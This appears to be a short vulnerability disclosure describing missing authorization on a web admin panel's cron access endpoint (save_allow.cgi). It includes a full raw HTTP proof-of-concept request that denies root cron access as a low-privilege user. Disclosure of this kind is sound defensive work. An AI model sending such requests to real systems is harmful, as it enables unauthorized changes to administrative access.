Description

The /cron/save_allow.cgi endpoint is accessible to any authenticated low privilege users resulting in controlling user access to cron jobs. They could allow and deny other users access to cron jobs affecting the Scheduled Cron Jobs module.

Proof of Concept

Affected Endpoint:

GET http://{HOST}/cron/save_allow.cgi

~

Request

*** This example request to deny root to access cron.

GET /cron/save_allow.cgi?allow=&mode=2&deny=root HTTP/1.1
Host: jumphost:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-no-links: 1
X-PJAX: true
X-PJAX-Container: [data-dcontainer]
X-PJAX-URL: save_allow.cgi
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Referer: http://jumphost:10000/cron/edit_allow.cgi?xnavigation=1
Cookie: redirect=1; testing=1; sid=092a4f34132757770ba9c9c353760197

Impact

This vulnerability is capable of modifying or restricting access to a system function outside the user's limits.